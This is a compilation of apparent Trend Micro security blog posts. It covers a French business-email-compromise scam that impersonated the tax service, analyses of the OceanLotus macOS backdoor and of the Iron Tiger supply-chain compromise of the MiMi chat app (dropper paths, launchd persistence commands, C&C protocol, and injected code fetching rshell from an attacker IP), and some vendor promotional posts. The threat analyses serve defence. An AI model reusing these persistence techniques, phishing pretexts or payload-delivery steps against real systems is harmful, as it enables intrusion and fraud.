Screenshot of the email containing a request to change the target company’s banking reference to a new account in an Italian bank.
A rough translation of the email: “Following a banking account change, please find our new banking references (mail and Bank Identifier Code) attached, which we kindly ask you to update in your files.
Thank you for your understanding.
Please confirm the reception of this email and confirm the handling of our request (very urgent!)
The email contained two PDF file attachments.
The first one was a letter to confirm the change, as seen in the screenshot below.
Figure 3.
Letter confirming the changes in the company’s bank reference.
The PDF file looks very professional and even contains the real footers and logos from the impersonated company.
Meanwhile, the second PDF file shows the banking account reference number:
Figure 4.
The PDF file showing the new banking reference account
Note that as soon as we noticed the scam, we reached out to the targeted company (who was incredibly responsive) and worked with them to prevent it from affecting their organization.
In addition, they had filed a complaint and reached out to the Italian bank to stop the fraud attempt.
Initial investigation
We found references on the company website showing that the alleged sender of the fraudulent email is an actual employee of the target company.
However, instead of working in the accounting department, as seen in the email, the person actually worked as a webmaster.
It’s possible that the fraudsters chose a random person based on the information they found prior to their scheme and decided to use it for their operation.
Interestingly enough, the fraudsters committed several mistakes:
They forgot to change the target name in the header of the email content, therefore leaking the name of another target.
A perceptive employee could potentially identify this as something unusual, which raises red flags.
We found another version of the PDF file that revealed the account being used for the bank reference change had the name of an individual and was not registered under the name of the target company.
Figure 5.
The PDF file showing the banking account reference.
However, instead of showing the target company as the owner of the account, it shows the name of a person.
We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.
Delving deeper into the scam
The email address used to register the fraudulent domain  has been used to register several other domains since 2019, all of them showing similar names to legitimate French company domains, but again with slight errors here and there (for example using “techrnologies” instead of “technologies).
Domain
Creation Date
eltn[.
]fr
8/23/2019
chnonopost[.
]fr
9/30/2019
sfrbiz[.
]fr
11/24/2019
ouflook[.
]fr
12/9/2019
carre-haussrmann[.
]fr
12/10/2019
4a-archifectes[.
]fr
1/16/2020
harribeyconstuctions[.
]fr
2/5/2020
stanvwell[.
]r
5/28/2020
paretsarl[.
]fr
6/17/2020
tkl-consutling[.
]fr
6/29/2020
axa-etancheite[.
]fr
7/1/2020
garantiesdesdepots[.
]fr
7/6/2020
jacormex[.
]fr
7/14/2020
harribeyconsstructions[.
]fr
7/15/2020
transportcazaux[.
]fr
7/17/2020
atg-techrnologies[.
]fr
7/22/2020
cephii.eu
7/27/2020
efiiltec[.
]fr
7/27/2020
benne-rci[.
]fr
7/28/2020
soterm[.
]fr
7/29/2020
phamasys[.
]fr
7/31/2020
huuaume.fr
08/05/2020
larm-inox[.
]fr
8/13/2020
Table 1.
Domains registered using the email address
The email address used did not seem to have been compromised and was probably created by the malicious actors themselves.
Table 1.
Domains registered using the email address
This list also reveals that the attackers are targeting a wide swath of industries, probably in an opportunistic manner.
While we could not confirm that all of these domains have been used to commit BEC fraud, we did find at least one additional case in which the fraudsters targeted an organization that was part of the healthcare industry.
Impersonating the French tax system
In many BEC schemes, the perpetrators infect the machines of their targets with malware that will allow them to read  —  and therefore gather information —  from emails.
Once the cybercriminals gain access to the mailboxes of their targets, they search for material on the people involved with the organization's finance and accounting departments.
In addition, the attackers also look for information on the company’s customers and partners.
Using this method, BEC scammers can then impersonate an employee to entice a victim to carry out their goals via social engineering.
This is BEC as we usually know it.
We found evidence that the cybercriminals involved in this case had used malware as well, but ultimately, they did not really even need it.
Instead, they used an alternative  —  and admittedly clever  —   method of hunting for their target’s financial data themselves.
With the help of the organization that the scam targeted, we were able to determine the initial approach the cybercriminals used:  they presented their emails to appear as if it was from the French tax system to gather information on their target.
A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:
Figure 6.
The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries
The email contained an attached PDF file that seemed to be a letter from the French Tax service:
Figure 7.
The content of the PDF attachment sent with the email
Essentially, the PDF file contains a request from the spoofed government organization asking the target company for information on their customers, employees, and other financial data.
The text also adds to the urgency of the request by mentioning possible fines if the target organization refuses to cooperate.
The translation of the text found in the PDF file is as follows:
As happens every year, in accordance with the Stability and Growth Pact with the European Commission, the Directorate General of Public Finances is launching an investigation as part of the verification of compliance with SEPA (Single Euro Payments Area) conditions and  international standards.
As such, in accordance with the provisions of articles L.81, L.85 and article L.102 B of the book of tax procedures, I would like to have, as soon as possible and no later than July 20, 2020, in dematerialized form, for each of your three (3) main Customers who pay their services by SEPA (Single Euro Payments Area) transfer for the period from 04/01/2020 to 07/31/2020 of: The aging balance to date, duplicate invoice correspondents (Not having been paid by the customer and concerning the June, July and August deadlines), contacts of the financial or accounting department (Emails, Telephones and Postal address) and one (1) duly signed and sealed commercial contract.
I would point out that this operation does not constitute a verification of your tax situation and indicates to you that any refusal to cooperate is sanctioned by a tax fine provided for in article 1734 of the general tax code.
I invite you to send us these documents in dematerialized form on our secure and functional messaging: odac@dgfip-finances-gouv[.
]cloud
While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.
The PDF letter looks (and reads) like a real document from the French tax service.
In fact, most French people would probably think this is a legitimate letter unless they look closely at the email address used (dgfip-finances-gouv[.
]cloud instead of the real domain, which is dgfip.finances.gouv.fr).
As we highlighted in bold, the social engineering trick used in this email is for gathering data that could potentially be useful for the malicious actors, such as client information and commercial contracts.
Once this information is in the hands of the scammers, they can then move on to the next stage of the attack, which involves reaching out to the three contacts mentioned in the PDF file.
One interesting side note: it seems the BEC scammers actually built their PDF file from a real PDF file used by the French tax system.
The real name of the author of the document (as seen in the metadata) is indeed the name of a real government employee working in the department responsible for handling tax-related issues.
The use of tax-related scams is something we’ve seen before.
This incident confirms that the information stolen using tax fraud is being used for malicious purposes, in this case, a BEC scam.
Expanding the target range
We searched our systems for similar emails and found at least 73 different French companies targeted by these cybercriminals.
Figure 8.
The industry distribution of the companies targeted in this particular BEC scam.
Organizations in the manufacturing sector were by far the most targeted
The most targeted industry in this BEC campaign is manufacturing, particularly manufacturing companies that build high tech products and materials.
This was followed by the healthcare, real estate, energy, and food and beverage industries.
Many of the targeted companies work with many different service providers and partners, making requests for changes in banking references look less suspicious.
It’s highly likely that the fraud is more widespread than we have data on.
In addition to reaching out and working with the first organization we investigated, we also notified the other targets, all of whom have been very reactive to the threat.
We also helped close the fraudulent domains.
Defending your organization from BEC attacks
Businesses are advised to educate employees on how BEC scams and other similar attacks work.
These schemes do not require advanced technical skills: all that’s needed to launch an effective BEC scam is a single compromised account and services that are widely available in the cybercriminal underground.
As such, here are some tips on how to stay safe from these online schemes:
Carefully scrutinize all emails.
Be wary of irregular emails sent by high-level executives, especially those that have an unusual sense of urgency, as they can be used to trick employees into furthering the scam.
Always review emails requesting for funds to determine if the requests are out of the ordinary.
Raise employee awareness.
While employees are a company’s biggest asset, they can also be its weakest link when it comes to security.
Commit to training employees, reviewing company policies, and developing good security habits.
Verify any changes in vendor payment location by using a secondary sign-off by company personnel.
Stay updated on customer habits, including the details and reasons behind payments.
Always verify requests.
Confirm requests for fund transfers using phone verification as a part of two-factor authentication (2FA), use known familiar numbers and not the details provided in the email requests.
Report any incident immediately to law enforcement or file a complaint with the Internet Crime Complaint Center (IC3).
Trend Micro Solutions
Email
The email security capabilities of the Trend Micro User Protection and Network Defense solutions can block email messages used in Business Email Compromise attacks.
Malware
Endpoint security capabilities in Trend Micro User Protection and Network Defense solutions can detect advanced malware and other threats used in BEC schemes.
Indicators of Compromise (IoCs)
Domains
dgfip-finances-gouv[.
]cloud
bellingstudio@gmail.com
Tags
Articles, News, Reports
|
APT & Targeted Attacks
|
Research
We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a.
APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).
OceanLotus was responsible for launching targeted attacks against human rights organizations, media organizations, research institutes, and maritime construction firms.
The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.
The MacOS backdoor was found in a malicious Word document presumably distributed via email.
The document bears the filename “2018-PHIẾU  GHI  DANH  THAM  DỰ  TĨNH  HỘI HMDC 2018.doc,” which translates to “2018-REGISTRATION FORM OF HMDC ASSEMBLY 2018.doc.” The document claims to be a registration form for an event with HDMC, an organization in Vietnam that advertises national independence and democracy.
Figure 1.
Graphic used by the malicious document
Upon receiving the malicious document, the user is advised to enable macros.
In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code.
This is shown in the figure below.
Figure 2.
Code snippet of the obfuscated document
After deobfuscation, we can see that the payload is written in the Perl programming language.
It extracts theme0.xml file from the Word document.
theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.
theme0.xml is extracted to /tmp/system/word/theme/syslogd before it’s executed.
Figure 3.
Deobfuscated Perl payload from the delivery document
Dropper analysis
The dropper is used to install the backdoor into the infected system and establish its persistence.
Figure 4.
The main function of the dropper
All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key.
There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string.
Figure 5.
Hardcoded RSA256 key showing the first 20 characters
Using the setStartup() method, the dropper first checks if it is running as a root or not.
Based on that, the GET_PROCESSPATH and GET_PROCESSNAME methods will decrypt the hardcoded path and filename where the backdoor should be installed.
The locations:
For root user
path: /Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/
processname: screenassistantd
For regular user
path: ~/Library/Spelling/
processname: spellagentd
Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.
Figure 6.
The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time
When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null.
The access permissions will then be changed to 0x1ed = 755, which is equal to u=rwx,go=rx.
Figure 7.
The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit)
Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist).
Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/  folder.
The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely.
This persistence file is also set to hidden with a randomly generated file date and time.
Figure 8.
Property list with persistence settings
launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login.
The dropper will delete itself at the end of the process.
Backdoor analysis
The main loop of the backdoor has two main functions, infoClient and runHandle.
infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information.
Meanwhile, runHandle is responsible for the backdoor capabilities.
Figure 9.
The main functions of the backdoor
infoClient fills up the variables in HandlePP class.
Figure 10.
List of variables belonging to the HandlePP class
clientID is an MD5 hash derived from the environment variables, while strClientID is a hexadecimal representation of clientID.
All strings below are encrypted via AES256 and base64 encoding.
The HandlePP::getClientID method uses the following environment variables:
Figure 11.
Serial number
Figure 12.
Hardware UUID
Figure 13.
MAC address
Figure 14.
Randomly generated UUID
For the initial information packet, the backdoor also collects the following:
Figure 15.
OS version
Running getpwuid ->pw_name , scutil - -get ComputerName, and uname –m will provide the following returns respectively:
Mac OSX 10.12.
System Administrator
<owner’s name>'s iMac
x86_64
All these data are scrambled and encrypted before sending to the C&C server.
The process is detailed below:
Scrambling
Class Parser has several methods, one for each variable type – Parser::inBytes, Parser::inByte, Parser::inString, and Parser::inInt.
Figure 16.
Parser::inBytes method
If clientID equals the following sequence of bytes B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73, then the scrambled version is computed using the third parameter (0x10), which is treated as a DWORD.
Each quadruple of bytes is XOR-ed with it, as shown in example below.
Figure 17.
Parser::inByte method
When scrambling one byte, the scrambler first determines if the byte value is odd or even.
If the value is odd, it adds the byte, along with one more randomly generated byte, to the array.
In the case of an even value, the randomly generated byte is added first, followed by the byte being added.
In the case above, the third parameter is ‘1’ = 0x31, which is an odd number.
This means that it adds byte ‘1’ and one randomly generated byte to the final scrambled array.
Figure 18.
Parser::inString method
When scrambling a string, the scrambler generates a 5-byte long sequence.
First, it generates one random byte, followed by three zero bytes, one random byte, and finally, the byte with the length of the string.
Let’s say we want to scramble string ‘Mac OSX 10.12.’ Its length is 13 = 0x0d, and the two random bytes are 0xf3 and 0x92.
The final 5-byte sequence looks like F3 00 00 00 92 0D.
The original string is then XOR’ed with the 5-byte sequence.
Figure 19.
Scrambling ‘Mac OSX 10.12’
Encryption
The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key.
Encoding the encryption key
In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data.
However, this key is also scrambled with operation XOR 0x13 followed by ROL 6 operation applied to each byte.
Figure 20.
Function for scrambling AES256 key in the outgoing packet
Some screenshots taken during scrambling and encryption process:
Figure 21.
The highlighted bytes represent the scrambled computer info
Figure 22.
Randomly generated AES256 key
Figure 23.
Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)
Figure 24.
Computer info encrypted with AES256 key
Figure 25.
Screenshot of the final payload to be sent to C&C server.
The scrambled AES256 key is marked green, while the encrypted computer info is marked red.
Other bytes are just randomly generated noise.
When the backdoor receives the response from the C&C server, the final payload needs to be decoded again in a similar manner via decryption and scrambling.
Packet::getData decrypts the received payload and Converter::outString descrambles the result.
The received data from the C&C server include the following information:
HandlePP::urlRequest (/appleauth/static/cssj/N252394295/widget/auth/app.css)
HandlePP::keyDecrypt
STRINGDATA::BROWSER_SESSION_ID (m_pixel_ratio)
STRINGDATA::RESOURCE_ID
These data will be later used in the C&C communication, as shown in the Wireshark screenshot below.
Figure 26.
Communication with the C&C server after the exchange of OS packet info
Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):
Figure 27.
The getCommand method
The figure below shows the example of two of several possible command codes.
Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal:
Figure 28.
Commands used for downloading and executing, and running a command in terminal
Figure 29.
Commands used in uploading and downloading file
Figure 30.
Supported commands and their respective codes
Mitigation
Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.
End users can benefit from security solutions such as Trend Micro Antivirus for Mac, which provides comprehensive security and multi-device protection against cyberthreats.
Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.
Indicators of Compromise (IoCs)
C&C servers
Ssl[.]arkouthrie[.
]com
s3[.]hiahornber[.
]com
widget[.]shoreoa[.
]com
SHA256
Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a
Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4
Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f
Tags
Malware
|
APT & Targeted Attacks
|
Endpoints
|
Research
|
Network
One of the secrets of Trend Micro’s long-lasting success is being constantly on the lookout for where the next security threats might come from.
That’s why we’re focusing a great deal of our research and development efforts right now on the intersection of IT and operational technology (OT).
This burgeoning world of connected IoT devices is particularly advanced in the manufacturing space, where huge gains are already being made.
But as great as these leaps forward are, so are the risks if technology systems aren’t properly secured.
That’s why we’re thrilled to be joining the ROS-Industrial Consortium (ROS-I) to help accelerate the secure development of robotic Industry 4.0 applications.
It’s yet another important step for our stated mission: to secure the connected world.
Why IIoT matters
Industrial IoT (IIoT) systems are already streamlining production processes, improving cost efficiencies, and helping to drive greater agility and innovation for manufacturers.
It’s no coincidence that the global market for such solutions will grow at nearly 17% CAGR over the next six years to exceed $263 billion by 2027.
But with new technology always comes new cyber risk.
As connectivity is introduced to industrial computing devices, the challenge is managing the threat from remote attackers.
System and software vulnerabilities could be probed to hijack devices, sabotage production processes and steal intellectual property.
Robots are a particular risk—not only because so much of modern manufacturing relies on them, but also because many of these machines rely on legacy technology dating back decades.
These custom, proprietary programming languages and unique ecosystems can make security complex, and lead to unpatched vulnerabilities which sophisticated attackers could exploit, with serious consequences.
Shaping the roadmap
ROS-I is an open-source project devoted to extending the capabilities of the Robot Operating Systems (ROS) into industrial hardware and applications.
The job of the ROS-I Consortium is to prioritize these capabilities, offer code quality standards and provide technical support and training.
As an associate member of the consortium, Trend Micro will now be able to participate in technical and strategic projects and help to shape the ROS-I roadmap.
In fact, we’ve already demonstrated our value to the organization in research last year, which uncovered design flaws and vulnerabilities in legacy programming languages used by some of its products.
That resulted in our collaboration to develop secure network guidelines for industrial robots using ROS.
Securing the future
Trend Micro also recently started looking at the security of the Data Distribution Service (DDS).
This protocol is used heavily by ROS2 and will therefore be another area in which we hope to deliver tremendous value to ROS-I and end-customers going forward.
Trend Micro is in many ways an unusual member of the consortium.
Most either use ROS/ROS2 in their products, for example as robot manufacturers, or they want to help develop the software.
We do neither, but we plan to work with the consortium to enhance security-by-design in ROS-I software.
In fact, Trend Micro is only the second cybersecurity specialist to join.
Securing IIoT systems is hard: it requires capabilities across the cloud, the network, and the devices themselves.
But thanks to our 30+ year heritage in cybersecurity and active deployments with global customers, we’re able to offer protection all the way from the gateway to the endpoint.
That’s the kind of end-to-end security you need to drive Industry 4.0 success.
For more info, check out our Smart Factory solutions: https://www.trendmicro.com/en_us/business/solutions/iot/smart-factory.html.
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Cloud computing is on a roll.
Gartner predicts that spending on public cloud services including IaaS, SaaS and PaaS will reach nearly $500bn this year and grow by over 21% to hit $600bn by 2023.
But security concerns persist.
Marketplaces like the one offered by AWS make it a lot easier to get the right security tools in the hands of those that need them most.
But finding the right cybersecurity partners can still be something of an operational challenge involving a mountain of manual work.
That’s why we’re delighted to be a launch partner for new AWS Marketplace feature.
Marketplace Vendor Insights takes the pain out of due diligence by delivering the information prospective customers need—reducing friction and accelerating the journey to cloud security.
A tech tipping point
We all know why global organizations are turning in their droves to cloud computing services and infrastructure.
For many, it was the pandemic that pushed them over a technology tipping point.
For others, digital transformation had been a priority for much longer, but the events of the past two years added a new sense of urgency.
Cloud investments are delivering innovative customer experiences, streamlining business processes and driving enterprise agility across the planet.
But such initiatives must be built on solid, secure foundations.
Trend Micro blocked 101% more cloud-based email threats in 2021 than the previous year.
We also know that threat actors are actively scanning for misconfigured cloud environments.
In-house skills shortages and the rapid pace of innovation from cloud service providers exacerbate this challenge.
The expansive use of open source code by DevOps teams adds another element of risk which requires urgent attention.
Climbing a mountain, the easy way
IT leaders know that cloud security is a shared responsibility.
The challenge is often finding the right partners to align with their specific requirements.
Even though platforms like the AWS Marketplace have streamlined the process of procurement immeasurably for cloud builders, friction persists.
Security is a complex business, especially in the cloud, where many traditional rules associated with the on-premises world no longer apply.
That means customers have to ask prospective providers like Trend Micro a mountain of questions.
In fact, we receive extensive spreadsheets full of these questions several times a week.
They often contain hundreds of queries to process, which may have been written by lawyers who don’t fully understand the subject matter.
While buyers usually aim for lead times of weeks or months, the questionnaires themselves can get stuck in a bottleneck if forwarded first to IT service partners.
This is where AWS Marketplace Vendor Insights comes in.
It collects data from ISV partners like Trend Micro via two mechanisms:
ISVs upload compliance certificates, which are scanned and processed, with the salient information extracted by Marketplace Vendor Insights
AWS technology is deployed to ISV production accounts to directly monitor and inspect configuration of technology resources and collect other critical information
The result is a win-win for ISVs like Trend Micro and security-minded AWS customers.
With Marketplace Vendor Insights, IT leaders can review compliance attestations and double click on more details about ISV security best practices directly from the AWS Marketplace.
It also enables buyers to view vendor information in the same way, allowing for true apples to apples comparison.
In so doing, it eliminates the need for endless back-and-forth communications between ISV and prospective customer.
It’s about standardizing and streamlining an important but cumbersome process to fast-track due diligence—ultimately enabling enterprises to extract value from platforms like Trend Micro Cloud One even quicker.
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AWS CloudFormation allows customers to automate and scale cloud native infrastructure deployments using AWS services.
For these services, as part of the AWS Shared Responsibility model, the customer and AWS are both responsible for security and compliance.
For the customer’s part, it has taken time and effort to connect and add security controls beyond what is built into the infrastructure.
Customers have needed to understand a lot of details about the implementation of security technologies to automate them, which is less scalable.
Trend Micro, an AWS Partner Network (APN) Advanced Technology Partner strives to make all of our security tools work as seamlessly as possible with cloud native infrastructure.
However, nothing can quite work as seamlessly as having the resources available to deploy in the same way as the infrastructure itself.
AWS has responded to this customer request by offering partner CloudFormation Resource Types directly from the AWS Management Console.
We are proud to collaborate with CloudFormation and offer Trend Micro Cloud One services directly from CloudFormation with the same tooling and repeatability, including detecting any changes or drift in that resource after deployment.
Now customers can express their intent to deploy a security capability as a resource in the same way they express their intent to deploy an AWS resource.
CloudFormation now handles the details of automating that implementation, reducing the knowledge needed about the underlying mechanisms to automate that resource deployment.
Today with the launch, Trend Micro Cloud One Container Security is available as a CloudFormation resource type.
Cloud One – Network Security, Workload Security, Conformity, and File Storage Security as CloudFormation Resource Types will be coming soon.
Trend Micro Cloud One – Container Security resource type in AWS Management Console.
Each service is great for customers to easily connect new AWS resources into their Cloud One account directly from the AWS Management Console.
For example, Cloud One – Container Security would be deployed to simplify your visibility of containers running in AWS, rather than manually connecting the accounts.
This integration enables joint customers to deploy all related security technologies as they add new AWS resources in a simple, automated way all in one place.
We are excited about this move by AWS, and our opportunity to reduce friction for customers to adopt and deploy our solutions the same way they deploy their AWS resources.
Customers can now save time and energy by natively deploying security resources into IaC the same way as the rest of your cloud native infrastructure.
Try Trend Micro Cloud One today and Learn more about how it simplifies deployment and procurement with AWS Marketplace.
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Security Strategies
While it seems almost cliché now, we are living in unprecedented times.
The global pandemic has forced organizations everywhere to deal not only with health and supply-chain challenges, but also with increasing political turmoil that can negatively impact ongoing operations.
And with the military action in Ukraine, evidence of widespread defacement of government websites, and targeted attacks against government agencies and financial institutions in the region serving as yet another layer of risk to deal with, it has never been more important to be on top of your security game.
Keep focused on the attack surface
While every organization will have their own definition of what risk means to them, the ability to understand, communicate, and mitigate that risk is critical to being resilient in the face of the global events unfolding.
In order to understand your risk, you first need to understand your attack surface—where can risk be introduced in the digital platform that makes up how your organization runs?
Once you know what your attack surface is, you need the tools to both assess the risk and then mitigate it.
Given that the attack surface is constantly changing, it really is a lifecycle—an attack surface risk management lifecycle—that needs the right tools in place to help with cyber resilience.
Managing risk with security best practices
With so much diversity in the attack surface, it’s important to leverage security best practices to manage your cyber risk.
Organizations should:
Ensure your systems are updated (especially security solutions) with the latest critical patches and versions.
These are a critical part of your attack surface.
Make sure you have configured your security solutions according to best practices from the vendor, including widespread use of multi-factor authentication.
For Trend Micro solutions, ensure you are leveraging the latest sophisticated security capabilities like machine learning, behavior monitoring, application control, and more.
Get advice here: https://success.trendmicro.com
As outlined in real-world testing activities like the Mitre Engenuity ATT&CK evalutions, being able to detect and respond across layers to a cyber attack is a fundamental requirement for managing cyber risk.
If you are not using some form of extended detection and response (XDR) or managed XDR today, you need to put something in place immediately.
Without this type of visibility and ability to respond to attacks, you are at significantly higher risk.
Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.
Follow-up quickly on security alerts and conduct more close investigation as necessary.
Where possible, reduce your attack surface.
Whether a financially motivated group, a nation state, or an advanced group that behaves like one, attackers facing a smaller attack surface along with the greater visibility in #3 mean a stronger security and reduced risk.
How to do that?
Reducing attack surface includes patching and Zero Trust techniques for better posture, including knowing the true state of identities, devices, cloud assets, and things.
Following these best practices will help you to better manage the cyber risk that your organization is facing, regardless of the unknowns that we are all dealing with today—and tomorrow.
Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com/ukrainecrisis.
This blog has been revised to include new facts that have been released since the original posting.
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We noticed a server hosting both a HyperBro sample and a malicious Mach-O executable named “rshell.” HyperBro is a malware family used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS).
We analyzed the Mach-O sample and found it to be a new malware family targeting the Mac OS platform.
We also eventually found samples compiled for the Linux platform that belongs to the same malware family.
We noticed that a chat application named MiMi retrieved the rshell executable, an app we came across recently while investigating threat actor Earth Berberoka.
We noticed Iron Tiger controlling the servers hosting the app installers of MiMi, suggesting a supply chain attack.
Further investigation showed that MiMi chat installers have been compromised to download and install HyperBro samples for the Windows platform and rshell samples for the Mac OS platform.
While this was not the first time the technique was used, this latest development shows Iron Tiger’s interest in compromising victims using the three major platforms: Windows, Linux, and macOS.
Infection vector
MiMi (mimi = 秘密  = secret in Chinese) is an instant messaging application designed especially for Chinese users, with implementations for major desktop and mobile operating systems: Windows, macOS, Android, and iOS.
The desktop versions are developed with the help of ElectronJS framework, which is a cross-platform framework based on Node.js, allowing the developers to create applications with HTML, Javascript (JS), and CSS.
We already came across an abuse of this application during the Earth Berberoka investigation.
However, compared to Earth Berberoka’s routine wherein the threat actor set up a fake website to deliver a malicious chat application, in this instance Iron Tiger compromised the server hosting the legitimate installers for this chat application for a supply chain attack.
Contrary to the fake website, the links to the mobile versions of the application for Android and iPhone worked.
Also, we could not find anything malicious in the latest Windows installer.
In June, we were able to download the macOS installer for the 2.3.2 version of MiMi chat and verified it as genuine.
After downloading it again later, we found that the installer was replaced with a malicious version retrieving the rshell sample.
This was proof that the attackers had direct access to the installers‘ host server, and that they were monitoring the versions published by the MiMi app developers in order to quickly insert a backdoor.
Figure 1.
Downloaded installer before (left) and after (right) malware embedding
In this case, we can see that it took an hour and a half for the attackers to modify the legitimate installer and add malicious code to it.
For older versions, it took the attackers one day to inject its modifications.
The modification occurs in the electron-main.js file, which contains a block of code beginning with “eval(function(p,a,c,k,e,d)”, suggesting we are dealing with Dean Edwards packer.
Figure 2.
Malicious Javascript code inserted into 2.3.2.dmg targeting macOS
Figure 3.
Deobfuscated malicious Javascript code
Once deobfuscated, we saw that the inserted code downloads rshell from the IP address 139[.]180[.]216[.
]65 and executes it once run on the macOS platform.
The delivered rshell malware is a new family we will discuss in a later section.
After looking at previous versions of this installer, we found that the first compromised version was 2.3.0, built on May 26, 2022, while the previous version (2.2.10, published on May 6, 2022) was clean.
This led is to our first assumption that Iron Tiger had access to the Mimi chat developer's backend between the two dates in May.
However, a further look at our telemetry revealed older installers that have been compromised, this time aimed at Windows OS.
Version 2.2.0 and 2.2.1 (both built on November 23, 2021), had similar additions to the electron-main.js file.
Figure 4.
Malicious Javascript code inserted into 2.2.0.exe targeting Windows OS
Figure 5.
Deobfuscated malicious JavaScript code from 2.2.0.exe
We saw that one executable, one dynamic link library (DLL), and one binary file were being downloaded into the temporary directory before running the executable.
This is the typical way that this threat actor loads its files, exploiting DLL side-loading vulnerabilities in legitimate and usually signed executables.
In this case, the exploited executable belongs to the DESlock+ product, as described last year when we analyzed another Iron Tiger campaign, using malware HyperBro.
Malware analysis
rshell
The rshell executable is a standard backdoor and implements functions typical of similar backdoors:
Collect OS information and send it to command and control (C&C) server
Receive commands from the C&C server to execute
Send command execution results back to the C&C
We found multiple samples of this particular backdoor, with some of them in the Mach-O format (macOS platform), while others were in the ELF format (Linux platform).
The oldest sample we found was uploaded in June 2021, with the first victim reported in mid-July 2021.
The OS information collection routine gathers the following information:
GUID: (randomly generated guid, stored in /tmp/guid)
computer name: uname (nodename)
IP addresses: (getifaddrs)
message type: login
username: _getpwuid (pw_name)
version: uname (release)
Once collected, the backdoor “packs” them into a Binary JSON (BSON) message and sends it over TCP to the C&C in clear (unencrypted) form.
Figure 6.
Deserialized BSON packet (and displayed as JSON) with login message containing OS information
The message received from the C&C is also in BSON format and contains the following fields:
Table 1.
Type and subtype of packets received from the C&C
Type
Subtype
Explanation
Cmd
Init
Start new shell
Cmd
close
Kill shell
Cmd
data
Commands to execute in shell
File
Init
List root / directory
File
Dir
List directory
File
down
Prepare file for downloading
File
read
Read file (transfer bytes)
File
close
Close file
File
upload
Prepare file for uploading
File
write
Write file (transfer bytes)
File
Del
Delete file
The client also regularly sends a packet of type ‘keepalive’ to the C&C.
Running the DMG installer on a macOS machine, the user is shown several warnings before the trojanized app is installed and run.
At first, Safari web browser asks the user to allow downloads from the given website.
After choosing “Allow,” downloading, and executing the DMG installer, another warning message about an unverified developer is displayed.
Figure 7.
Unverified developer warning with the “Open” button noticeably missing
To override this warning, the user must open “System Preferences” and “Security & Privacy” tabs and click on “Open Anyway.”
Figure 8.
Security & Privacy tab to allow running apps from unverified developers
Afterward, one more warning about the unverified developer is displayed.
This time, however, the “Open” button appears in the prompt so the application can finally start.
Figure 9.
Unverified developer warning with the “Open” button enabled
We confirmed that both the legitimate and the malicious versions of the chat installer were unsigned, which means the users of MiMi chat were probably used to all these extra steps to finally install the application despite all the macOS watchguards.
HyperBro
The HyperBro malware family has been around since 2017 and has been extensively analyzed.
It was updated in mid-2019, which we described in detail in our Operation DRBControl paper.
The version used in this campaign is no different from what we already described in our previous Iron Tiger investigation.
The only noteworthy element is the Authenticode signature of dlpprem32.dll, which is signed by a (now) revoked certificate belonging to “Cheetah Mobile Inc.” The said company was formerly known as Kingsoft Internet Software Holdings Limited, wherein during our previous investigation on the group, we already found one HyperBro DLL signed by a certificate belonging to Kingsoft.
Targets
We found 13 different targets while following our sensors‘ data.
The only targeted countries were Taiwan and the Philippines: five targets of HyperBro (four in Taiwan and one in the Philippines).
Meanwhile, we found eight targets for rshell: six in Taiwan, one in the Philippines, and one being in Taiwan and the Philippines.
